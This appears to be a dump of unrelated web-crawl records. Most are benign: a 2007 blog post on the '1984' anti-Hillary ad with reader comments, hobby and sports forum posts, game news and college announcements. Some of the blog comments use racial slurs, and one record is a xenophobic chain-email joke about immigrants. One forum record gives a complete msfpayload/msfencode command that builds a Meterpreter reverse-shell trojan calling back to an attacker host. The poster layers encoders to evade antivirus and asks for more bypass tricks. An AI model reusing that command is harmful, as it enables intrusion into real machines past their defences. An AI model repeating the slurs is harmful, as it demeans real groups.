text:
Unmasked: Creator of "1984" anti-Hillary ad is … staffer for Obama consultant
posted at 7:51 pm on March 21, 2007 by Allahpundit
- Share on Facebook 1
Arianna smoked him out but Ben Smith pinned the tail on the Messiah:
Arianna reports that Philip de Vellis of Blue State Digital created the spot; Blue State works for Obama. A woman who answered the company's phone confirmed he works there.
But maybe not for long. Also from Smith:
From Obama aide Bill Burton: "The Obama campaign and its employees had no knowledge and had nothing to do with the creation of the ad. We were notified this evening by a vendor of ours, Blue State Digital, that an employee of the company had been involved in the making of this ad. Blue State Digital has separated ties with this individual and we have been assured he did no work on our campaign's account."
Bonus fun fact: Blue State Digital was founded by Dean-o's Internet team, according to Arianna.
I don't really care about any of this, except that it'll be fun watching the most conspicuously nice guy in the race explain his association with the nastiest ad of the campaign thus far.
Which, incidentally, I still think was stupid.
Update: De Vellis resigned when he heard Arianna was about to out him.
He said he produced the ad outside of work and that neither Blue State nor the Obama campaign was aware of his role in the ad.
"But it raises some eyebrows, so I thought it best that I resign and not put them in that position."
Update: Goooood question: "Clearly, enough people knew; Arianna Huffington found out about it. How?"
Update: A nice catch by Sound Politics: it seems De Vellis is a tried and true Wal-Mart hater. Follow the link to see why that might be relevant.
Update: That was fast. The man knows his way around techno-political truisms, I'll grant him that.
- Share on Facebook 1
Related Posts:
Breaking on Hot Air
Students demand UCLA allow conservative communications professor to keep teaching
heh heh heh.
Hillary is gonna make some serious hay with this.
csdeven on March 21, 2007 at 7:56 PM
I guess all those libs and Dems in the MSM like Keith Olbermann will now apologized about blaming evil-Republicans for the ad.
mlong on March 21, 2007 at 7:57 PM
The ad is great and right on the money. The Dims are running around like mice trying to figure out just what to do about it, and their answer is…..nothing. They can not do anything about it because the bell ring true!
NEMETI IN SYRACUSE on March 21, 2007 at 8:02 PM
Should we assume the GOP didn't do it?
One civil war I'm really going to enjoy.
JammieWearingFool on March 21, 2007 at 8:07 PM
Has Hillary hired him yet?
Zorro on March 21, 2007 at 8:11 PM
Standby for counter-attack from employee at blog site friendly to Hillary, followed by denial that Hillary knew about it, followed by firing of employee.
Somebody's been reading up on old editions of Mad Magazine.
fogw on March 21, 2007 at 8:18 PM
Those charging Obama's campaign with responsibility are vindicated. He hired the firm. It's his people, his money supporting the staff. Question settled. Game over.
He'll fire the firm before this is over.
Anil Petra on March 21, 2007 at 8:19 PM
Man that ad is just typical leftist moonbat thinking. I swear I really hope they hire more of their ilk.
You just know that is the way 90% of them think.
William Amos on March 21, 2007 at 8:25 PM
Somebody hand that guy a cigar!
And hand Arianna a moist towelette. To wipe the blood of her teeth.
Which, incidentally, I still think was stupid. —- Allahpundit
Which, incidentally, I still think is not stupid. It's a fair representation of Hillary's all out Big Brother agenda. Socialized Medicine, TAKE profits from the Oil companies…. sign up for "global warming taxes"… every commie left wing cause endorsed. Not stupid… just Hillary's dream world portrayed.
That being said, I had rather see Hillary as President than Obama, because Obama is much more poised and a lot smarter than Hillary, and he would be much more effective at getting left wing legislation passed by Congress. Heaven forbid that the Republicans would lose the Presidential race in 2008, but if that is going to happen, we are better off have the ham-fisted and easily perturbed Hillary as POTUS than Obama.
Maxx on March 21, 2007 at 8:33 PM
it's a crime now to produce a anti-Hillary ad now?
Give the guy a raise! He did a fantastic job!
TheBigOldDog on March 21, 2007 at 8:36 PM
AP, you think an Ad that's resonated around the world and spread virally faster than the "I Love You" virus is stupid? Is that right?
TheBigOldDog on March 21, 2007 at 8:42 PM
it's a crime now to produce a anti-Hillary ad now?
Give the guy a raise! He did a fantastic job!
TheBigOldDog on March 21, 2007 at 8:36 PM
Not a crime, but, if the candidate has been promising to keep the campaign positive and focus on the issues, it's problematic if someone related to his campaign comes up with the first memorable 'attack' ad of the season.
I personally get tired of ads that attack a candidate's stance on issues being considered 'personal attack ads'. To me a personal attack is saying "She's a frigid witch and shouldn't get elected" or "He's a power hungry fiend and wants to rule the world"…..Using the candidates own quotes (as long as there isn't selective editing) to reveal their stance on positions is not an attack. Still, if that's what the majority of other people consider to be an attack ad, Obama can't afford to be the first guy to have released one.
JadeNYU on March 21, 2007 at 8:44 PM
Maxx, your right that Hillary would probably be better than Obama as President (would you want to be shot with a .38 or a .357 type of better) but I seriously question that Obama could get elected.
I'm just sad we didn't do the ad.
Buzzy on March 21, 2007 at 8:44 PM
I don't understand this… this ad is amazing. Obama should hire the dude.
I mean, I don't like either of them, and the "You'll see why 2008 won't be like 1984" doesn't really make any sense. But it did a great job of showcasing Hillary's almost mechanical political posturing in a short little bite that people could "feel".
I don't see how this could possibly be characterized as "nasty".
DaveS on March 21, 2007 at 8:45 PM
He'll have no problem getting a job, he's definitely skilled. And he probably uses a Mac.
digitalintrigue on March 21, 2007 at 8:47 PM
AP, you think an Ad that's resonated around the world and spread virally faster than the "I Love You" virus is stupid? Is that right?
TheBigOldDog on March 21, 2007 at 8:42 PM
I don't want to answer for AP, but, I can say that I thought the ad was stupid. I didn't really see a point to it other than the hamhanded "Hillary is big brother!" point. The way the ad is constructed also had me focusing on the running chick with Hillary fading into the backgroun as opposed to having me focus on what Hillary was saying. I also didn't think there was a strong call to action. "Don't be a drone and listen to Hillary." doesn't exactly equal "Vote for Obama!"
Now, having said all that, the fact that the ad has resonated so well and generated so much free publicity means (in my opinion) that, while I may find the ad to be dumb, I also find the decision to make the ad to be brilliant.
JadeNYU on March 21, 2007 at 8:49 PM
Not a crime, but, if the candidate has been promising to keep the campaign positive and focus on the issues, it's problematic if someone related to his campaign comes up with the first memorable 'attack' ad of the season.
There's no indication Obewon sanctioned that Ad and if he did, good for him – proves he's actually pretty smart. That Ad was devastating which is why is spread so fast and IT COST NOTHING! It's like the holy grail of political ads. Genius! Bravo. I want that guy working for me.
TheBigOldDog on March 21, 2007 at 8:49 PM
He is the magic negro, he just made Philip de Vellis disappear.
right2bright on March 21, 2007 at 9:05 PM
Reminds me of a line from a song by The Talking Heads: "Same as it ever was…"
Rode Werk on March 21, 2007 at 9:14 PM
Interesting thing is that De vellis worked for the Sherrod Brown Senate Campaign here in Ohio.
But places like youtube are perfect to float campaign ideas and see how they float.
Im willing to bet that someone posting on huff and puff knew all about this. De Vellis proabably bragged to some moonbat about it and they thought it was "So cool".
That upsets other moonbats because your only suppose to plant crap about republicans not your own insane group.
William Amos on March 21, 2007 at 10:05 PM
Isn't it racist for the black guy to fire someone? Or is it racist that La Hillary's campaign was squealing?
SouthernGent on March 21, 2007 at 10:09 PM
Allah, check out Dan Riehl's blog when you get a chance. He's got a post up that talks about some possible sock puppetry de Vellis may have been involved in in prior campaigns.
SisterToldjah on March 21, 2007 at 11:00 PM
What a great group of Democratic candidates we have. Hey folks, for anyone who hasn't seen the hair primping vid that gave Silky Pony his name, CLICK HERE. For those who have seen it, it's worth another look – just for grins and chuckles. You know you want to.
thedecider on March 21, 2007 at 11:06 PM
Do I laugh openly, or do I snicker behind my hand?
Obama is dirty.
Hillary is a vicious witch.
The author is a rotten, democrap partisan bastard.
Screw'em all to Hell.
Democrats suck and the world will be better off if the ground opened up and swallowed them.
georgej on March 21, 2007 at 11:14 PM
georgej on March 21, 2007 at 11:14 PM
Havin' a bad day?
thedecider on March 21, 2007 at 11:16 PM
Don't understand what the problem is. Someone mashed two ads. Da-dum. The result is better than the orginal Apple ad, cause Apple has this elitist non-conformists conformity arrogance. Putting Hillary the uber elitist in works perfectly. That means, the tediously self-important Apple ad is not as good as the tedious self-important Hillary put-down ad. Hillary staring into the camera like some chilly mother-figure dressing down the errant child by crushing his ego, and calling it a conversation instead of a lecture. "We're going to have these conversations once a week." ("To remind you how you've failed in life.") Oh boy! Can't wait!
So the story is that Hillary and her enablers are pissed? WHy would anyone get fired for this? Unless he was supposed to be using his computer for crunching the numbers for recombinant DNA strands of sea cucumbers.
naliaka on March 21, 2007 at 11:39 PM
Democrats suck and the world will be better off if the ground opened up and swallowed them.
georgej on March 21, 2007 at 11:14 PM
That pretty much sums it up…………
PinkyBigglesworth on March 22, 2007 at 12:11 AM
Don't understand what the problem is. Someone mashed two ads. Da-dum
The problem is it makes Obama look a little less saintly. The MSM practically has him walking on water right now and anything that makes him seem like just another politician is bad.
William Amos on March 22, 2007 at 12:58 AM
William Amos on March 22, 2007 at 12:58 AM
Never fear. He's the magic Negro. He'll survive.
thedecider on March 22, 2007 at 1:04 AM
I don't think it reflects on Obama at all.
MayBee on March 22, 2007 at 2:45 AM
The problem is it makes Obama look a little less saintly. The MSM practically has him walking on water right now and anything that makes him seem like just another politician is bad.
William Amos on March 22, 2007 at 12:58 AM
I love the imagery of your statement!
Hasn't Baraka Hussein Obama also healed the sick, raised the dead, caused the blind to see, was tortured, suffered, and died for our sins on the cross, was buried, and on the third day he arose from the dead, walked among us for forty days, then ascended into heaven to sit at the right hand of the Father, to come and judge the world and to establish His Kingdom?
Hasn't the Messiah finally come. Baraka Hussein Obama, the annointed one, is finally here. Our sins are forgiven, we are saved!
Praise the Lord!
Hosanna, Baraka Hussein Obama, Savior of Mankind, walks on water, miracle worker, sinless and pure!
Oh Happy Day!!!!!
William2006 on March 22, 2007 at 3:57 AM
Maybe it's my right-wing extra chromosome talking, but wouldn't it have made more sense to say, "Why 2008 won't be like 1992?"
That bizarre outdated rainbow Apple "O" for Obama escapes me as well.
You know Obama had nothing to do with the ad's creation, 'cause it's actually kinda clever, if only because Hillary is that scary and is a prime example of Newspeak. She's double plus ungood.
You know what's really scary? I saw two KUCINICH 2008 buttons/signs on my walk home yesterday. You're glad you don't live here.
saint kansas on March 22, 2007 at 4:58 AM
Maybe it's my right-wing extra chromosome talking, but wouldn't it have made more sense to say, "Why 2008 won't be like 1992?"
saint kansas on March 22, 2007 at 4:58 AM
But, 1992 was the election that brought about the rise of the holy Clinton! They would obviously want to do everything in their power to emulate that, especially when this time they are trying to raise up the one true savior.
Anyway, the commercial still sucks, mainly because of the source, but at least this guy put in some effort as opposed to the one you posted the other day.
Wolfman on March 22, 2007 at 6:58 AM
de Vellis best stay away from Fort Marcy Park.
mountainmanbob on March 22, 2007 at 7:59 AM
Rove you magnificent bastard!
locomotivebreath1901 on March 22, 2007 at 8:54 AM
I agree with Maxx Allah.
Kini on March 21, 2007 at 8:40 PM
Before I saw that I'd been duped by a missing comma, I thought, "Maxx Allah! What a great screenname!," for an infidel, of course.
I see more free speech rights going down the tubes once the left (and McCain) gets a hold of this one. It will be for our own good though i'm sure.
tomas on March 22, 2007 at 9:35 AM
I agree with Allah: The ad was stupid.
I tend to think of Orwell as the idiot's intellectual. That's because the only people who take Orwellian analogies seriously are teenagers who haven't read any other book.
I was once in a college class and one of the girls said that living in GWB's America was like living in Bradbury's "Farenheit 451." The girl was obviously as bright as a cave.
So, it's best to layoff the Hillary is Big Brother analogies. They only expose the people who make the analogies as paranoid fools.
bert169 on March 22, 2007 at 9:56 AM
As a video, um, "hobbyist," I guess, 99 percent of my admiration for the ad is that the guy took the time to (1) matte out the Hillary video so the drones' heads appeared in front of the screen, and (2) composite his dumb Obama logo over the chick's Macintosh T-shirt. Exactly like the guy who did the "rebuttal" video didn't.
That is all.
saint kansas on March 22, 2007 at 11:03 AM
OK, I was also going to say I wonder what Ridley Scott thinks of what they've done to his commercial… but then I reconsidered. I'm pretty sure I don't want to hear anything about politics come out of his mouth.
saint kansas on March 22, 2007 at 11:09 AM
That's because the only people who take Orwellian analogies seriously are teenagers who haven't read any other book.
bert169 on March 22, 2007 at 9:56 AM
Exactly. Orwellian concepts are very important to developing minds. The problem is that they are so apropo that many people think those ideas are the end all of enlightened thought. What I find ironic is that the lefties loved to use 451 as an indictment of conservatives but it is obvious that they have become the greatest opponents to any thinking that is diametric to theirs.
I do not think it was stupid, because Hillary's "Lets talk" slogan has nothing to do with the free exchange of ideas. The people whom react positively to her suggestion that we should talk don't realize that she never will "talk". They're in love with the idea of it. This is designed for the brain dead female types. The types she will have to have in order to get elected. All fluff and emotion and no substance.
The same people by the way, that watch "The View". Hillary wants these people to sit in front of their TV as brainwashed fools soaking up every bit of her tripe.
This guy would have made a much more powerful statement if everyone in the audience were females.
csdeven on March 22, 2007 at 11:11 AM
So, it's best to layoff the Hillary is Big Brother analogies. They only expose the people who make the analogies as paranoid fools.
As opposed to pseudo-intellectuals who don't have the common sense to realize than an ad produced for peanuts got millions and millions of dollars of totally free play.
TheBigOldDog on March 22, 2007 at 12:05 PM
As opposed to pseudo-intellectuals who don't have the common sense to realize than an ad produced for peanuts got millions and millions of dollars of totally free play.
You're confusing airplay with effectiveness.
Remember MoveOn.org's ad comparing Bush to Hitler during the 2004 election? It received quite a bit of airplay from FOX, Talk Radio, and even from CNN. Hell, it even drew the attention of the ADL. And that ad was also produce for pennies by a moron kid on his laptop (If I remember correctly MoveOn.org was having a contest for the best homemade political ad, and it was one of the finalists and was featured on their website).
Now I don't know what the oracle of "common sense" says. But I think it is reasonable to believe that ads comparing Bush to Hitler and Hillary to the villian of a silly novel about totalitarianism are not effective and are even cut from the same cloth–paranoid rantings of politicos.
bert169 on March 22, 2007 at 12:48 PM
You're confusing airplay with effectiveness
You are confusing Push with Pull. The play this got was mainly PULL. Why? because it resonated with people. Why? because it fit with their view of her.
TheBigOldDog on March 22, 2007 at 12:54 PM
You are confusing Push with Pull. The play this got was mainly PULL. Why? because it resonated with people. Why? because it fit with their view of her.
You're right. I am confusing the two. But I still stand by my belief that the ads are not effective. People who have such a strong feeling of resentment toward Hillary tend to be the hyperpartisans, who are going to vote anyway and there is no need to remind them of why they hate Hillary.
Now don't get me wrong. I'm not against negative ads. I'm actually very supportive of them because they depress the vote of the candidate your targeting. I just think that playing the Hitler card or the totalitarian card will in the end insult Americans. Just like the MoveOn.org ad insulted the ADL, which I don't think they intended to do. I think there are plenty of subjects for negative ads against Hillary in order to depress a Hillary vote, but "1984" is just silly.
bert169 on March 22, 2007 at 1:25 PM
Don't take this the wrong way. This is being said in the spirit of honest discussion.
You always want to be aware and cautious of what's know as "belly button" marketing (BBM). That is, assuming people think and feel the way you do about something like a product or service. It can lead you very far astray when you don't perfectly represent the target market (audience). In this case, by definition almost, you were not the target market of that ad. That doesn't mean the ad wasn't very good or effective. It just means you weren't part of the target audience and you are using its impact on you to determine its value, rather than objective measures like hits, air time, articles, poll results, etc.
There are times when BBM can be a good thing. If you really understand the customer and essentially ARE the customer, it can work for you.
TheBigOldDog on March 22, 2007 at 1:45 PM
Let's have a conversation.
It will be one-way.
Madame Hillary will speak.
You will obey.
ReubenJCogburn on March 22, 2007 at 2:38 PM
Don't worry. I'm not taking this the wrong way. I actually have enjoyed your posts. They are well written and well thought out. But I still don't share your enthusiasm for this ad.
Let me explain. First I must be clear to assure you that when I say "I think so and so about the ad's effectiveness on voters," I am trying to put myself inside certain voter's heads and making decisions based on what I think that they think. I may be wrong, but my method avoids the logical fallacy you assumed I was committing (applying my reaction to different subsets of voters). Now to be fair, I went back and read my posts about that and I feel I may have given you the wrong impression. I apologize for that.
Having said that, I think that assertion that this ad may appeal to some form of niche target market is dubious for two reasons: 1) It is difficult to tell what market it is appealing to. Since it is a negative ad we can assume that it is trying to depress the vote for Hillary, but finding a target audience within that larger audience is difficult to come by by using YouTube as the vehicle for the add. (Compare to Hebrew National Hot Dogs advertising in Jewish newspapers or communities; it seems more obvious in that case),and 2) if there is a target market that is moved by Orwell, why haven't we seen them before? Comparing politicians to big brother has been done since that book was published. Yet the most effective ads, and this is not my opinion but the opinion of political and communications strategists of both parties, are ones with children, animals, and the candidates family. Now if you can get a negative ad with children or animals in it, it is advertising gold.
Now to be fair, there might be some internal polling that I'm not privy too that would lead a campaign to pushing this type of advertisement. However it's also a possibility that this dude really did make it on his own without any input from the campaign strategists. And based on my limited knowledge of campaign advertising (I'm not an expert at all, merely thumbed through academic literature on the subject) and my prejudice about Orwell inspired political thought, I tend to think that this guy is a person who is good on the computer but is unfamiliar with other aspects of campaigning or even political philosophy. Hence the first political book every teenager reads is used as a campaign tool.
bert169 on March 22, 2007 at 3:23 PM
I think the target audience would be people who identify with the brain washed people in the audience. They wonder why this ad criticizes those who believe she really wants to talk. Those are the people who obama needs to sway to his side.
In 1984, Apple users thought the original ad was clever. IBM based users were supposed to feel like they were like rats at the feeder bar.
Because Hillary is preaching to the brain dead female, I think the ad would have been more powerful if all the audience members were females.
csdeven on March 22, 2007 at 3:40 PM
You are over thinking it bert. All you have to do is look at the objective measures. It's popularity speaks for itself.
TheBigOldDog on March 22, 2007 at 4:15 PM
I think this ad was retarded. With that said, unless he signed something with the company on not doing outside work in politics and putting it on the net, I think he was fired or forced to resign (whatever story is true) is stupid.
In the grand scheme of things, this really wasn't a big deal. I thought the person who did this didn't come forward for awhile because the ad was just dumb and wouldn't want to admit it on those grounds lol.
Highrise on March 22, 2007 at 4:20 PM
Honestly, I don't think it's the ad itself that's getting the attention, but the politiking of a campaign that started a full year before the first primary. People are interested in the manuevering of the campaigns.
So far, all the maneuvering is predictable: a nutroot loon claims that its an example of "people powered politics" when he makes an ad he deems will hurt the opponent of the candidate he supports, and as a result the cadidate he supports distances himself from the ad and he (the kid who made the ad) loses his job with Blue State whatever company.
Plus, we've sat there and watch the press build up Obama, and I think we are waiting in anticipation that the press will turn on him and tear him down.
Allah sums it up nicely:
I don't really care about any of this, except that it'll be fun watching the most conspicuously nice guy in the race explain his association with the nastiest ad of the campaign thus far.
And I reiterate: The ad is very nasty. It of the same mold as Bush=Hitler.
bert169 on March 22, 2007 at 5:05 PM
Hillary Clinton was on Wal-Mart's board?
How did I miss that? And, how does that make any sense?
Now that this guy is no longer tied to Obama, I'd love to see him do a Hillary ad with a Wal-Mart commercial motif.
I'm trying to think of what other old TV ads you could cut-and-paste to bash Hillary:
I can't believe I [badly overdubbed "TAXED!"] the whole thing!
Jim Treacher on March 22, 2007 at 6:38 PM
You frighten me, Jim. But in a good way.
major john on March 22, 2007 at 10:45 PM
Jim Treacher on March 23, 2007 at 9:13 AM
I think the biggest problem the campaign managers and others are having is the fact that this ad was produced by one guy working at home at little cost. Hillary and the other candidates are looking at this and saying: I'm paying millions of dollars for MY attack ads and this bozo produces a great ad at little cost and in a short time and it's more popular than a Britney Spears crotch shot? That's not fair!
Look at it this way; this guy proves that millions of dollars no longer need to be spent in producing campaign ads. Just hire a couple of teenagers with a digital camera, an Internet connection, and a Mac. It's more effective and a lot cheaper.
RedinBlueCounty on March 23, 2007 at 7:37 PM


text: Who's geared up for the end of the Spring 2012 Contest on GMTC? We've certainly got a pretty significant number of posts and a decent number of unique users, but there is always room for more. Two years ago we had winners with only a handful of total posts, but they were winners and got the great prizes. Let's give some props to all of the great vendors who stepped-up to the plate with some great swag for this year's contest! The Only People Smoother Than Me Are the GMTC Spring Contest Winners. Stay Thirsty My Friends.

subset: commoncrawl


text:
Daylight, Blacklight, Spec Ops developer shuttered
Daylight developer Zombie Studios has thrown in the towel.
Blacklight headlines
Blacklight: Retribution - new mode and maps released on PS4
Blacklight: Retribution received its first content patch on PS4 today, and among many new bits is the introduction of cooperative game mode Onslaught.
Blacklight: Retribution Onslaught expansion is now live
Perfect World has announced that Blacklight: Retribution Onslaught is now live, which the firm is calling the "largest update ever" for the shooter. The expansion features new maps and weapons, as well as the new Onslaught mode, which features four-player co-op in which the team must survive waves of zombies. A variety of in-game item […]
Blacklight: Retribution developer video shows off a few of the customization options
Perfect World has released a developer video for Blacklight: Retribution, showcasing the shooter's customization options. There are various ways for the player to customize their super soldier beyond the norm, and the video highlights the bigger aspects to the system. However, as D'toid notes, there are areas of customization in the game not included in […]
Blacklight: Tango Down sequel to be free-to-play
Zombie Studios has said its sequel to Blacklight: Tango Down will be free-to-play when it launches.
Blacklight: Tango Down weapons, story detailed with shots
Ignition Entertainment has revealed the back story, setting, and weapons for its upcoming multiplayer FPS Blacklight: Tango Down, currently in development at Zombie Studios.
Blacklight: Tango Down for PSN, XBLA this summer - first movie
It's been announced Ignition's picked up publishing rights to futuristic shooter Blacklight, now known as Blacklight: Tango Down.
Blacklight gets first shot
The first image of Zombie's Blacklight's popped up on FirstShowing. It's a shooter. In the future. The game was announced recently as being constructed as a cross-media IP, with a movie and comics also in the works. Thanks, Kotaku.
Blacklight latest
Blacklight: Retribution developer video shows off a few of the customization options
Blacklight: Tango Down for PSN, XBLA this summer – first movie


text:
First year beek here. Weather here has been cold, rainy, and windy so I have not been inside the hive in nearly 3 weeks. Not to mention their attitude has been horrible. I've been avoiding them a little. I'm seeing a handful of bees with deformed wings outside the hive. I did a 3 day mite count. The average was 26 per day. Quick history - This hive was new this year started with a package of bees. Foundationless. They were in two deeps and swarmed 8/3. The queen failed to return mated (lots of dragonflies here). On 8/29 a friend came with 2 frames of brood and a queen. He did a shake out, yada yada yada 10 days later I did a newspaper combine and all is well. Now I'm seeing a few bees with deformed wings.
So - I'm not going to treat them. My big question is about the equipment. If the colony dies from dwv or just doesn't winter, is the virus in the comb & woodenware?


text:
Middle and high school teachers from across the Front Range will learn how to teach key math concepts to their students while introducing them to video game programming during an April 21 workshop at the University of Colorado Boulder.
Emmanuel Schanzer of Harvard University will lead the workshop sponsored by CU-Boulder's Department of Computer Science. Schanzer is the creator of Bootstrap, a computer programming tool that uses algebra to create images and animations.
Schanzer has taught students and trained teachers across the country, and many middle and high school teachers have implemented the Bootstrap curriculum as a one-month module, a weekly activity or an after-school program.
The all-day workshop is being offered free to Colorado teachers with support from the National Science Foundation and CU-Boulder.
More than 30 teachers have already registered for the workshop, representing school districts from Longmont to Pueblo, including Boulder and Saint Vrain Valley, Jefferson County, Woodland Park, Adams 12 and Douglas County schools.
CU-Boulder Professor Debra Goldberg, who leads another NSF grant that funds graduate students to introduce computer science in local schools, said that such outreach programs for teachers are critical for improving basic "literacy" in computer science.
"K-12 students have no experience in it, and computer science is integral to so many aspects of our society," Goldberg said, giving as examples issues of privacy in social media and the advances occurring in genetics and biology.
In addition, "there are more jobs available in computer science than we have students to fill them," she said. "The sooner students can get some experience in programming, the better off they're going to be in the job market."
Any Colorado teacher wishing to attend may contact Jessica Feld at firstname.lastname@example.com. For more information about Bootstrap visit http://www.bootstrapworld.org.
Sriram Sankaranarayanan, computer science faculty, 303-492-6580
Debra Goldberg, computer science faculty, 303-492-9344
Carol Rowe, engineering communications, 303-492-7426


text:
AN'T that the truth.
Now with the true figures comming out of 25 to 30 million illegals in this country.
Subject: This isn't a jokeThis joke was nominated for best joke of the year.A Russian arrives in New York City as a new immigrant to the UnitedStates . He stops the first person he sees walking down the street andsays, "Thank you Mr. American for letting me into this country, givingme housing, food stamps, free medical care, and a free education!"The passerby says, "You are mistaken, I am a Mexican."The man goes on and encounters another passerby. "Thank you for havingsuch a beautiful country here in America ."The person says, "I not American, I Vietnamese."The new arrival walks farther, and the next person he sees he stops,shakes his hand, and says, "Thank you for wonderful America !"That person puts up his hand and says, "I am from Middle East . I amnot American."He finally sees a nice lady and asks, "Are you an American?"She says, "No, I am from Africa ."Puzzled, he asks her, "Where are all the Americans?"The African lady checks her watch and says, "Probably at work."IF YOU DON'T PASS THIS ON TO YOUR FRIENDS, TOMORROW AT 11:30 AM YOU WILLRECEIVE THREE ILLEGAL IMMIGRANTS ABSOLUTELY FREE.
AN'T that the truth.
Your in my Mind, and in my Sights


text:
View Comment
Posted at 2:16 AM on May 6, 2012
Posted at 2:15 AM on May 6, 2012
Posted at 6:14 AM on February 4, 2012
Posted at 10:54 AM on January 9, 2012
Posted at 10:53 PM on January 3, 2012
Jenelle needs to grow up and put her son
first. As a parent your first priority
is your child. She needs to grow up and
stop creating drama. Even though it may
not be entirely her fault and im not saying
it is not but all the crazy drama is
affecting her child and he is going to
be the one who suffers in the end. She
needs to grow up and step up and accept
the consequences for everything and start,
parenting more and spending less time doing
everything else, Yes she is young and naive
but she got pregnant young and has to accept
that she is a mother and her son comes
first. No matter what the situation is. This
guy whoever he is doesn't seem good at all.
Posted at 1:05 PM on January 3, 2012
Posted at 3:21 PM on January 3, 2012
Posted at 5:00 PM on January 3, 2012
Posted at 8:00 PM on January 6, 2012
Posted at 3:24 PM on February 3, 2012
Carson reid
Posted at 4:42 AM on January 4, 2012
Rick Nalley
Posted at 11:59 AM on January 3, 2012


text:
Discussion in 'Pistons and NBA' started by indiefan23, Apr 10, 2009.
Rip, AI, and MC all deserve a 2nd change to see if they can make it work.
What did they change into the first time...???
I'd roll with this exact team next year (including AI) and hope the chemistry clicks.
That's some fine smileying right there!
couldn't hurt...
It could work if maybe you changed the coach, lol. There is no evidence that AI quit, I thought we agreed that he had been acquitted of this charge. Anyway, I think you need to subpoena Dumars to give evidence at the public inquest.
I dunno... those playoff games? That looked mailed in to me. When I heard he asked for a buy out I was not surprised in the slightest. See, heres the irony and duplicity of the Iverson affair. Sheed has actually been reported to have asked for a buyout and didn't actually miss a month due to injury. Yet you give Sheed the benefit of the doubt and say AI quit on his team when you hav absolutly 0 information pointing to the latter and do have information pointing to the former. AI's best role on the team could be argued was when Rip got hurt and he led the pistons to an 8-0 winning streak with him out of the lineup. It wouldn't matter what Iverson did or didn't do when theres a load of fans who are trying to invent stories to discredit him. Theres just no point to hating people on your own team. Look what it got you: series sweep.
I wish AI would have asked for a buyout as soon as he arrived (you know, instead of just quitting).
Nah....for two big reasons:JD let this team rule and now there is no going back. If this happened, and I was the owner...I would seriously consider firing JD. Then again, if I was the owner, JD would not have brought this team down so quickly.Curry is a huge project and best suited for analytical insights from the front office side. It's always nice if you can see some system understanding (physical and psychological) and have the ability to get by-in from the players. This team grinds up coaches and yes, JD let it happen. Understanding this situation from Curry's standpoint: I look for perhaps a project (individuals, or a particular bench strength situation) that can be developed. What I saw was a continuous movement against any reach for development away from the obvious no-by-in from the major team players. In short, I look for analytics and the ability to use some form of flexibility irrespective of barriers. Curry will have a long learning curve.
All hindsight. Little did we all know how strong the starting team reacted against AI. They ruled right down to the minus .500 season.
We can go back to the win/losses poll and see that some of us were not that blind to the reaction of the trade. I wonder if roscoe can put names to the voters.
Ernie The Slow Adult
Things change. Life is so many loops bumping against certain time elements as presented. Associations are not always directional (beyond the obvious pathological) that follow the yellow-brick-road. Everyone will gather so many loops. Some are bright stars that flash singular beams and some are double-back types that force new reflections. The latter are learning trees. It's not all money. It's not all external competition. You will never have to write on a Dodgson blackboard a questioning verse, " I don't think it ever happened before, that anyone had to take care of two Queens asleep at once!" Lost my shape, trying to act casual.David Byrne
Hmm... thats kind of the point of the article, so I'm going to agree with your last paragraph. I really do blame Curry... and they rehired him.
I think AI is a good guy honestly. He wears his heart on his sleeve. I think he does what he thinks is best for his team mostly all the time. I mean, he could have played this out in the press to hurt Curry, big time, but choose not to. People point to all these statements AI makes but really he's answering questions reporters ask him. Then he gets blamed for giving an honest answer. I mean, if someone asks him "how do you feel about playing 18 minutes off the bench, Curry told us that was all you were going to get this season and said he'd already told you. How does that affect your game." His response was to give credit to bench guys who can come in and make an impact right away cuz its harder then he thought it would be. And he got gooned for that. I dun get it. I'm not even a huge AI fan but its like rooting for the underdog now. Will anyone ever give him a break?
Separate names with a comma.


text:
Texas-based Big Red Soda launched a new TV spot featuring the new BBQ Bottles. Available in either Brisket or Chicken. As they say, Only in Texas. Brought to you by Real Normal/Beef & Sage
Big Red Soda + BBQ
July 30, 2013 By Shawn Hartley
Filed Under: Viral + Buzz Tagged With: BBQ, Big Red Soda, Texas, Viral, YouTube


text:
this was a big one
this was a big one
Did you get the queen? Looks like a good one for sure.
this was yesterday and everybody is still home so I think the queen must be in there. it was easy pickins
That was great, let us know how they do.
I enjoyed all your videos.
That was a big one. Cool video thanks! Are you the camera man or the swarm catcher? I have the link saved. I will watch the other videos.
Chuck Norris has a grizzly bear carpet in his room. The bear isn't dead it is just afraid to move.
I was the camera man for the video
this is me standing next to it
I have some other videos on youtube
but the ones on vimeo seem to come out better
Nice work Big D... 1.2.3. easy steps... I got one today too. I'll post it ..
did you use a nuc? I cant tell.
Chef Isaac..Culinary Arts and Honey are a sweet mix! http://www.sweetascanbeehoneyfarm.com & http://www.adoptahive.info
That was huge swarm and a great video.
it was a 10 frame deep box
they filled it
Chef Isaac..Culinary Arts and Honey are a sweet mix! http://www.sweetascanbeehoneyfarm.com & http://www.adoptahive.info
That would bee a nice one to make comb honey with
Ed, KA9CTT profanity is IGNORANCE made audible
you can`t fix stupid not even with duct tape
yea, my buddy and I put them in a box of fully drawn comb so they should be set to draw out supers pretty quick
let the games begin
WOW Nice swarm. These posts are always better with pics and video. Thanks D.


text: Today while i was listening to Cowboys Break, They made a great point concerning Matt Johnson. Is the guy even relevant right now? I know the team likes him, but have them even seen him in action? I dont recall if he was ever in any practices or what's his deal.


text: msfpayload windows/meterpreter/reverse_tcp lhost=192.168.146.139 lport=4442 R | msfencode -e x86/shikata_ga_nai -t raw -c 10 | msfencode -e x86/call4_dword_xor -t raw -c 10 | msfencode -e x86/countdown -t exe > chucknorris.exe and I usually run an apache server and connect to it from the xp machine and download the trojan, or I do shared folders in VM. Any tricks yall know to bypass security essentials? I would think two counts of 10 a piece and shikata_ga_nai would do the trick, but alas it does not.


text:
Pulaski Technical College participates in numerous community events throughout the year, and this week is especially notable for the flurry of activities. Pulaski Tech faculty, staff and students will have many opportunities to spread the word about the college.
On Thursday Sept. 25, Pulaski Technical College will be represented at the 2008 Market Arkansas Business Round-Up. As one of the biggest business and industry trade shows in the state, Market Arkansas is a great opportunity for the college to interact with the central Arkansas business community. The event begins at 9 a.m. and concludes at 4 p.m. at Alltel Arena. Admission is $3. More information is available here.
Friday and Saturday, Sept. 26 and 27, the college will join the popular environmental education and cultural diversity festival WorldFest at its new location at the William J. Clinton Presidential Center and Park in downtown Little Rock. The festival is free of charge. It begins at 9 a.m. and concludes at 9 p.m. on both days. WorldFest was established in the fall of 1995 to encourage friendship and reduce prejudice by coming together to learn about different cultures and ethnicities. It is presented by the Little Rock Racial and Cultural Diversity Commission. For more information, click here.
